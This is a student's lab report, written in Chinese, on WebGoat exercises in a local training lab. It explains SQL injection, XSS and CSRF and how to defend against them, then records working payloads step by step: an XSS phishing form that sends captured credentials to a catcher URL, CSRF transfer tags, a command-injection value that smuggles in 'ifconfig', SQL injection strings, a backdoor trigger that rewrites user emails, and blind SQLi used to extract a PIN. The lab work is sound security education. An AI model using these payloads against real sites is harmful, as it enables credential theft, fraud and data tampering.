20145219《网络对抗》Web安全基础实践
20145219《网络对抗》Web安全基础实践
基础问题回答
SQL注入攻击原理,如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理,如何防御?
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
CSRF攻击原理,如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实践过程记录
- Kali IP地址:192.168.87.128
WebGoat
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat
。
当页面成功停在下图位置时,最小化终端窗口:
打开浏览器,在地址栏输入localhost:8080/WebGoat
打开WebGoat
,选择默认账号、密码即可登陆成功。
XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
先编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
然后将这段代码输入到输入框中,点击search
出现如下登录框:
在登录框中输入用户名、密码:
点击登录后跳出弹框,其中包含用户输入的用户名、密码:
攻击成功!
2、Stored XSS Attacks 存储型XSS攻击
在Message框中输入<script>alert("I am 20145219sg");</script>
点击提交后弹出对话框,显示I am 20145219sg
:
攻击成功!
3、Reflected XSS Attacks 反射型XSS攻击
在code框中输入<script>alert("I am 20145219sg");</script>
点击Purchase
出现对话框,显示I am 20145219sg
攻击成功!
CSRF攻击
1、Cross Site Request Forgery(CSRF)
查看页面右边Parameters
中的src
和menu
值。
在title框中输入学号,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>
提交后生成一个链接20145219:
点击学号名即可查看用户操作的信息:
攻击成功!
2、CSRF Prompt By-Pass
查看页面右边Parameters
中的src
和menu
值,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接20145219:
点击学号名即可查看用户操作的信息:
攻击成功!
SQL注入攻击
1、Command Injection
我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite
抓包修改(下方2、Numeric SQL Injection
有详细过程,做的时候是先做的2、Numeric SQL Injection
后做的1、Command Injection
,所以过程截图就都在后面了……)。
在题目页面点击view
,然后进入BurpSuite
中,在repeater
页标签的Params
选项中先运行一次,查看数据都提交的位置:
然后修改HelpFile
的值为AccessControlMatrix.help"&&ifconfig"
,其中的双引号是为了封闭原语句中的双引号,&&
在命令行中是执行另外一条语句的意思,点击GO
发现执行了ifconfig语句
回到题目发现显示破解成功。
2、Numeric SQL Injection
我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们也使用BurpSuite
抓包修改。
在Kali桌面上找到如下图标,打开BurpSuite
:
在BurpSuite
中依次选择Proxy
->Options
->Add
添加一个端口,将绑定的端口设为5219
,点击确认后会在Options
下增加一行,勾选新形成的这一行:
点击浏览器右上方的更多
选项卡,选择preference
在页面左侧选择advanced
,选择network
页标签,在connection
那一行选择settings…
在弹出的窗口中设置代理服务器和端口(要与BurpSuite
中绑定的一致)
设置好代理后回到题目页面,点击Go
,然后进入BurpSuite
中依次选择Proxy
->Intercept
,可以看到已经抓到了包:
右键选择send to repeater
进入repeater
页标签,选择Params
将其中station
的值改为101 or 1=1
,点击Go
运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy
中点击Intercept is on
对剩下的包不作处理,回到火狐发现已经成功。
3、Log Spoofing
在User Name文本框中输入%0d%0aLogin succeeded !admin
达到欺骗登录效果,破解成功:
4、LAB:SQL Injection(Stage 1:String SQL Injection)
起初,我想要使用BurpSuite
捕包修改数据,但是不知道为什么修改完了password
的值为' or 1=1;--
后依旧不成功,后来我就看了卢肖明同学的博客,看到他使用了一个新的工具firebug
(浏览器右上方有一个小昆虫一样的标志),可以显示当前网页的源码并直接在其中修改。
使用用户Neville进行登录,在密码栏中输入' or 1=1 --
进行SQL注入,本以为会成功,但是登录依旧失败(好像突然明白为什么上面使用BurpSuite
捕包修改数据会不成功了……),查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。
在查看源码的时候怎么找到限制字符长度的语句在哪里呢?千万不要像我刚开始一样傻呆呆的一句话一句话找,太傻了……在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password
输入框的位置,源码部分就会自动跳转到关于密码的部分,缩小范围后就好找多了。
对长度进行扩大,然后在密码栏中再次输入' or 1=1 --
,点击登录就成功了!(在这里,千万要开着扩大后的源码页面点登陆,它并不能保存,你一关就没了,别像我一样关了窗口一遍遍的不成功……)。
5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
用上一题的方法成功登录
查看网页源码,选择查看viewprofile
部分的代码,把其中的value值由101
改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个
点击viewprofile
就可以查看到老板的信息了:
6、String SQL Injection
在输入框中输入Smith
进行尝试,观察下方形成的输入语句,可以看到输入的Smith
在两个单引号之间:
构造永真式'or 1='1
,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。
这样一来,攻击就成功了,可以显示所有用户的信息了。
7、Database Backdoors
先输入示例101进行尝试,得到了该用户的信息。
观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=10000
成功将该用户的工资变成10000,攻击成功:
下一步,输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145219@hackme.com' WHERE userid = NEW.userid
就可以了,表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
8、Blind Numeric SQL Injection
尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid
,说明这个数是合法的!
构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );
,根据返回的语句是否合法判断pin值的范围。这里使用二分法确定值是2364
,输入2364
后破解成功:
我看这里蔡野同学用的是BurpSuite
,但是我用那个尝试没有成功,可能是哪里输入错了,所以用了这个简单一点的方法(虽然有点儿费时……)。
实验总结与体会
这次的实验和我们的课程名十分的相符——网络对抗——通过在Webgoat上的实践,我学会了SQL注入攻击、XSS攻击和CSRF攻击的一些小套路,也初步掌握了设置代理服务器、使用BurpSuite捕获包进行源码修改的方法,后来,我又看着组长的博客学会了直接在网页上查看、修改网页源码,感觉这个比用BurpSuite修改更快捷方便一些,当然,这两个工具的侧重点不同,还是需要都掌握一下的。我感觉这次实验有一点儿像是闯关,尤其是每破解一题后就会有一个绿色的小对勾,反正做实验的时候每得到一个小对勾都很兴奋、感觉很有成就感。
20145219《网络对抗》Web安全基础实践的更多相关文章
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20155324《网络对抗技术》web安全基础实践
20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践
20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
随机推荐
- poj_2182 线段树/树状数组
题目大意 n个数排成一排(不知道大小,只是占了一个位置),从a[1]到a[n]进行遍历,对于每个a[i],给出从a[1]到a[i-1]中小于a[i]数的个数.要求出 a[1]到a[n]中这n个数的相对 ...
- jQuery数据缓存
jQuery引入数据缓存机制的原因: 1.储存更DOM节点相关的数据.事件.动画等信息 2.用一种低耦合的方式让DOM节点和数据联系起来 实现原理: 1.jQuery内部创建cache对象 2.为需要 ...
- 安装Memcache的PHP扩展
查看memcached是否启动 # ps -ef | grep memcached 安装Memcache的PHP扩展 1.在http://pecl.php.net/package/memcache 选 ...
- Suricata规则配置
Suricata 规则配置 IDS/IPS/WAF IPS.IDS和WAF分别是入侵防御系统和入侵检测系统以及WEB应用防火墙的简称,很多人说这些玩意不就是盒子吗已经过时了,其实不是,SIEM其实是有 ...
- 【BZOJ5100】[POI2018]Plan metra 构造
[BZOJ5100][POI2018]Plan metra Description 有一棵n个点的无根树,每条边有一个正整数权值,表示长度,定义两点距离为在树上的最短路径的长度. 已知2到n-1每个点 ...
- Thinkphp上传图片
上传图片的HTML结构: <form action="{:U('Config/addImg')}" enctype="multipart/form-data&quo ...
- 转悠望南山 Python闲谈(二)聊聊最小二乘法以及leastsq函数
1 最小二乘法概述 自从开始做毕设以来,发现自己无时无刻不在接触最小二乘法.从求解线性透视图中的消失点,m元n次函数的拟合,包括后来学到的神经网络,其思想归根结底全都是最小二乘法. 1-1 “多线 ...
- Code Forces 18D Seller Bob(简单DP)
D. Seller Bob time limit per test 2 seconds memory limit per test 128 megabytes input standard input ...
- 沈阳网络赛J-Ka Chang【分块】【树状数组】【dfs序】
Given a rooted tree ( the root is node 11 ) of NN nodes. Initially, each node has zero point. Then, ...
- 当url作为id时的删除
API Documentation — Elasticsearch 6.3.1 documentation https://elasticsearch-py.readthedocs.io/en/mas ...